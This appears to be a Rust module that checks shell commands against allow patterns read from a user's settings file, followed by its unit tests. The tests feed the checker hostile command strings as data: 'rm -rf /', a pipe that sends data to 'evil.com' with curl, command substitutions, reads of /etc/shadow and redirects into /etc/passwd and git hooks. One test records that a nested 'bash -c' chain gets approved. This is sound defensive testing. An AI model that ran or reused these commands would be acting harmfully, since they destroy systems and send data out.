1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12 pub fn load() -> Self {
18 match std::env::var_os("HOME") {
19 Some(home) => Self::load_from_home(Path::new(&home)),
20 None => Matcher {
21 exact: HashSet::new(),
22 globs: Vec::new(),
23 },
24 }
25 }
26
27 fn load_from_home(home: &Path) -> Self {
28 let mut patterns = Matcher {
29 exact: HashSet::new(),
30 globs: Vec::new(),
31 };
32 patterns.load_file(&home.join(".claude/settings.json"));
33 patterns
34 }
35
36 fn load_file(&mut self, path: &Path) {
37 let Ok(contents) = std::fs::read_to_string(path) else {
38 return;
39 };
40 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
41 return;
42 };
43
44 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
45 for entry in arr.iter().filter_map(|e| e.as_str()) {
46 self.add_pattern(entry);
47 }
48 }
49
50 if let Some(arr) = value
51 .get("permissions")
52 .and_then(|v| v.get("allow"))
53 .and_then(|v| v.as_array())
54 {
55 for entry in arr.iter().filter_map(|e| e.as_str()) {
56 self.add_pattern(entry);
57 }
58 }
59 }
60
61 fn add_pattern(&mut self, entry: &str) {
62 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
63 return;
64 };
65 if inner.is_empty() {
66 return;
67 }
68 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
69 format!("{prefix} *")
70 } else {
71 inner.to_string()
72 };
73 if normalized.contains('*') {
74 self.globs
75 .push(normalized.split('*').map(String::from).collect());
76 } else {
77 self.exact.insert(normalized);
78 }
79 }
80
81 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
82 let Cmd::Simple(simple) = cmd else {
83 return false;
84 };
85 let normalized = check::normalize_for_matching(simple);
86 let normalized = normalized.trim();
87 if normalized.is_empty() {
88 return false;
89 }
90 if self.exact.contains(normalized) {
91 return true;
92 }
93 self.globs
94 .iter()
95 .any(|parts| glob_matches(parts, normalized))
96 }
97
98 pub fn is_empty(&self) -> bool {
99 self.exact.is_empty() && self.globs.is_empty()
100 }
101
102 #[cfg(test)]
103 pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
104 let mut m = Matcher {
105 exact: HashSet::new(),
106 globs: Vec::new(),
107 };
108 for p in patterns {
109 m.add_pattern(&format!("Bash({p})"));
110 }
111 m
112 }
113}
114
115pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
116 match cmd {
117 Cmd::Simple(_) => {
118 check::is_safe_cmd(cmd)
119 || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
120 }
121 _ => check::is_safe_cmd(cmd),
122 }
123}
124
125fn glob_matches(parts: &[String], text: &str) -> bool {
126 let first = &parts[0];
127 let last = &parts[parts.len() - 1];
128
129 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
130 let prefix = &first[..first.len() - 1];
131 return text == prefix || text.starts_with(first.as_str());
132 }
133
134 if !text.starts_with(first.as_str()) {
135 return false;
136 }
137 if !text.ends_with(last.as_str()) {
138 return false;
139 }
140 let mut pos = first.len();
141 let end = text.len() - last.len();
142 if pos > end {
143 return false;
144 }
145 for part in &parts[1..parts.len() - 1] {
146 match text[pos..end].find(part.as_str()) {
147 Some(idx) => pos += idx + part.len(),
148 None => return false,
149 }
150 }
151 pos <= end
152}
153
154#[cfg(test)]
155mod tests {
156 use super::*;
157 use std::fs;
158
159 use crate::cst;
160
161 fn empty() -> Matcher {
162 Matcher {
163 exact: HashSet::new(),
164 globs: Vec::new(),
165 }
166 }
167
168 fn cmd(s: &str) -> Cmd {
169 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
170 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
171 assert_eq!(
172 script.0[0].pipeline.commands.len(),
173 1,
174 "expected single command: {s}"
175 );
176 script.0[0].pipeline.commands[0].clone()
177 }
178
179 fn segments(command: &str) -> Vec<Cmd> {
180 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
181 script
182 .0
183 .into_iter()
184 .flat_map(|stmt| stmt.pipeline.commands)
185 .collect()
186 }
187
188 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
189 is_cmd_covered(cmd, patterns)
190 }
191
192 fn all_covered(command: &str, patterns: &Matcher) -> bool {
193 let Some(script) = cst::parse(command) else {
194 return false;
195 };
196 script.0.iter().all(|stmt| {
197 check::is_safe_pipeline(&stmt.pipeline)
198 || stmt
199 .pipeline
200 .commands
201 .iter()
202 .all(|c| is_cmd_covered(c, patterns))
203 })
204 }
205
206 #[test]
207 fn parse_exact_pattern() {
208 let mut p = empty();
209 p.add_pattern("Bash(npm test)");
210 assert!(p.exact.contains("npm test"));
211 assert!(p.globs.is_empty());
212 }
213
214 #[test]
215 fn parse_legacy_colon_star() {
216 let mut p = empty();
217 p.add_pattern("Bash(npm run:*)");
218 assert!(p.exact.is_empty());
219 assert_eq!(p.globs.len(), 1);
220 }
221
222 #[test]
223 fn parse_space_star() {
224 let mut p = empty();
225 p.add_pattern("Bash(npm run *)");
226 assert!(p.exact.is_empty());
227 assert_eq!(p.globs.len(), 1);
228 }
229
230 #[test]
231 fn parse_non_bash_skipped() {
232 let mut p = empty();
233 p.add_pattern("WebFetch");
234 p.add_pattern("XcodeBuildMCP");
235 assert!(p.is_empty());
236 }
237
238 #[test]
239 fn parse_empty_bash_skipped() {
240 let mut p = empty();
241 p.add_pattern("Bash()");
242 assert!(p.is_empty());
243 }
244
245 #[test]
246 fn match_exact() {
247 let mut p = empty();
248 p.add_pattern("Bash(npm test)");
249 assert!(p.matches_cmd(&cmd("npm test")));
250 assert!(!p.matches_cmd(&cmd("npm test --watch")));
251 }
252
253 #[test]
254 fn match_space_star_word_boundary() {
255 let mut p = empty();
256 p.add_pattern("Bash(ls *)");
257 assert!(p.matches_cmd(&cmd("ls -la")));
258 assert!(p.matches_cmd(&cmd("ls foo")));
259 assert!(!p.matches_cmd(&cmd("lsof")));
260 }
261
262 #[test]
263 fn match_star_no_space_no_boundary() {
264 let mut p = empty();
265 p.add_pattern("Bash(ls*)");
266 assert!(p.matches_cmd(&cmd("ls -la")));
267 assert!(p.matches_cmd(&cmd("lsof")));
268 }
269
270 #[test]
271 fn match_legacy_colon_star_word_boundary() {
272 let mut p = empty();
273 p.add_pattern("Bash(npm run:*)");
274 assert!(p.matches_cmd(&cmd("npm run build")));
275 assert!(p.matches_cmd(&cmd("npm run test")));
276 assert!(!p.matches_cmd(&cmd("npm running")));
277 assert!(!p.matches_cmd(&cmd("npm install")));
278 }
279
280 #[test]
281 fn match_star_at_beginning() {
282 let mut p = empty();
283 p.add_pattern("Bash(* --version)");
284 assert!(p.matches_cmd(&cmd("npm --version")));
285 assert!(p.matches_cmd(&cmd("cargo --version")));
286 assert!(!p.matches_cmd(&cmd("npm --help")));
287 }
288
289 #[test]
290 fn match_star_in_middle() {
291 let mut p = empty();
292 p.add_pattern("Bash(git * main)");
293 assert!(p.matches_cmd(&cmd("git checkout main")));
294 assert!(p.matches_cmd(&cmd("git merge main")));
295 assert!(!p.matches_cmd(&cmd("git checkout develop")));
296 }
297
298 #[test]
299 fn match_env_prefix_stripped() {
300 let mut p = empty();
301 p.add_pattern("Bash(bundle install)");
302 assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
303 }
304
305 #[test]
306 fn match_fd_redirect_stripped() {
307 let mut p = empty();
308 p.add_pattern("Bash(npm test)");
309 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
310 }
311
312 #[test]
313 fn match_fd_redirect_with_glob() {
314 let mut p = empty();
315 p.add_pattern("Bash(npm run *)");
316 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
317 }
318
319 #[test]
320 fn empty_patterns_match_nothing() {
321 let p = empty();
322 assert!(!p.matches_cmd(&cmd("anything")));
323 }
324
325 #[test]
326 fn match_bare_star_matches_everything() {
327 let mut p = empty();
328 p.add_pattern("Bash(*)");
329 assert!(p.matches_cmd(&cmd("anything at all")));
330 assert!(p.matches_cmd(&cmd("rm -rf /")));
331 }
332
333 #[test]
334 fn unsafe_syntax_not_bypassed_by_match() {
335 let mut p = empty();
336 p.add_pattern("Bash(./script.sh *)");
337 let c = cmd("./script.sh > /etc/passwd");
338 assert!(check::has_unsafe_syntax(&c));
339 assert!(!is_covered(&c, &p));
340 }
341
342 #[test]
343 fn command_substitution_not_bypassed_by_match() {
344 let mut p = empty();
345 p.add_pattern("Bash(./script.sh *)");
346 let c = cmd("./script.sh $(rm -rf /)");
347 assert!(!is_covered(&c, &p));
348 }
349
350 #[test]
351 fn mixed_chain_safe_plus_settings() {
352 let mut p = empty();
353 p.add_pattern("Bash(./generate-docs.sh)");
354 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
355 }
356
357 #[test]
358 fn mixed_chain_safe_plus_unapproved_denied() {
359 let mut p = empty();
360 p.add_pattern("Bash(./generate-docs.sh)");
361 assert!(!all_covered("cargo test && rm -rf /", &p));
362 }
363
364 #[test]
365 fn glob_does_not_cross_chain_boundary() {
366 let mut p = empty();
367 p.add_pattern("Bash(cargo test *)");
368 let cmds = segments("cargo test --release && rm -rf /");
369 assert_eq!(cmds.len(), 2);
370 assert!(p.matches_cmd(&cmds[0]));
371 assert!(!p.matches_cmd(&cmds[1]));
372 assert!(!all_covered("cargo test --release && rm -rf /", &p));
373 }
374
375 #[test]
376 fn glob_does_not_cross_pipe_boundary() {
377 let mut p = empty();
378 p.add_pattern("Bash(safe-cmd *)");
379 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
380 }
381
382 #[test]
383 fn glob_does_not_cross_semicolon_boundary() {
384 let mut p = empty();
385 p.add_pattern("Bash(safe-cmd *)");
386 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
387 }
388
389 #[test]
390 fn file_redirect_promoted_to_safewrite() {
391 let p = empty();
392 let c = cmd("echo > out.txt");
393 assert!(is_covered(&c, &p));
394 }
395
396 #[test]
397 fn redirect_to_sensitive_target_not_covered() {
398 let p = empty();
399 assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
400 assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
401 }
402
403 #[test]
404 fn bare_star_blocked_by_unsafe_syntax_backtick() {
405 let mut p = empty();
406 p.add_pattern("Bash(*)");
407 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
408 }
409
410 #[test]
411 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
412 let mut p = empty();
413 p.add_pattern("Bash(*)");
414 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
415 }
416
417 #[test]
418 fn safe_command_substitution_allowed_through_is_safe() {
419 let p = empty();
420 assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
421 }
422
423 #[test]
424 fn nested_shell_not_recursively_validated_by_settings() {
425 let mut p = empty();
426 p.add_pattern("Bash(bash *)");
427 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
428 assert!(!check::is_safe_cmd(&c));
429 assert!(!check::has_unsafe_syntax(&c));
430 assert!(is_covered(&c, &p));
431 }
432
433 #[test]
434 fn nested_shell_redirect_promoted_to_safewrite() {
435 let p = empty();
436 let c = cmd("bash -c 'echo hello' > /tmp/out");
437 assert!(is_covered(&c, &p));
438 }
439
440 #[test]
441 fn quoted_operators_stay_as_one_segment() {
442 let mut p = empty();
443 p.add_pattern("Bash(./script *)");
444 assert!(all_covered("./script 'arg && rm -rf /'", &p));
445 }
446
447 #[test]
448 fn load_from_home_reads_home_settings() {
449 let home = tempfile::tempdir().unwrap();
450 let claude_dir = home.path().join(".claude");
451 fs::create_dir_all(&claude_dir).unwrap();
452 fs::write(
453 claude_dir.join("settings.json"),
454 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
455 )
456 .unwrap();
457 let p = Matcher::load_from_home(home.path());
458 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
459 assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
460 assert!(!p.matches_cmd(&cmd("./evil.sh")));
461 }
462
463 #[test]
464 fn load_from_home_ignores_project_settings() {
465 let home = tempfile::tempdir().unwrap();
469 let project = tempfile::tempdir().unwrap();
470 let project_claude = project.path().join(".claude");
471 fs::create_dir_all(&project_claude).unwrap();
472 fs::write(
473 project_claude.join("settings.json"),
474 r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
475 )
476 .unwrap();
477 let p = Matcher::load_from_home(home.path());
478 assert!(!p.matches_cmd(&cmd("rm -rf /")));
479 assert!(p.is_empty());
480 }
481
482 #[test]
483 fn load_from_home_chains_with_builtins() {
484 let home = tempfile::tempdir().unwrap();
485 let claude_dir = home.path().join(".claude");
486 fs::create_dir_all(&claude_dir).unwrap();
487 fs::write(
488 claude_dir.join("settings.json"),
489 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
490 )
491 .unwrap();
492 let p = Matcher::load_from_home(home.path());
493 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
494 assert!(!all_covered("cargo test && ./evil.sh", &p));
495 }
496
497 #[test]
498 fn load_file_nonexistent() {
499 let mut p = empty();
500 p.load_file(Path::new("/nonexistent/path/settings.json"));
501 assert!(p.is_empty());
502 }
503
504 #[test]
505 fn load_file_malformed_json() {
506 let dir = tempfile::tempdir().unwrap();
507 let path = dir.path().join("settings.json");
508 std::fs::write(&path, "not json{{{").unwrap();
509 let mut p = empty();
510 p.load_file(&path);
511 assert!(p.is_empty());
512 }
513
514 #[test]
515 fn load_file_approved_commands() {
516 let dir = tempfile::tempdir().unwrap();
517 let path = dir.path().join("settings.json");
518 fs::write(
519 &path,
520 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
521 )
522 .unwrap();
523 let mut p = empty();
524 p.load_file(&path);
525 assert!(p.matches_cmd(&cmd("npm test")));
526 assert!(p.matches_cmd(&cmd("npm run build")));
527 assert!(!p.matches_cmd(&cmd("curl evil.com")));
528 }
529
530 #[test]
531 fn load_file_permissions_allow() {
532 let dir = tempfile::tempdir().unwrap();
533 let path = dir.path().join("settings.json");
534 fs::write(
535 &path,
536 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
537 )
538 .unwrap();
539 let mut p = empty();
540 p.load_file(&path);
541 assert!(p.matches_cmd(&cmd("cargo test")));
542 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
543 }
544
545 #[test]
546 fn load_file_both_fields() {
547 let dir = tempfile::tempdir().unwrap();
548 let path = dir.path().join("settings.json");
549 fs::write(
550 &path,
551 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
552 )
553 .unwrap();
554 let mut p = empty();
555 p.load_file(&path);
556 assert!(p.matches_cmd(&cmd("npm test")));
557 assert!(p.matches_cmd(&cmd("cargo test --release")));
558 }
559}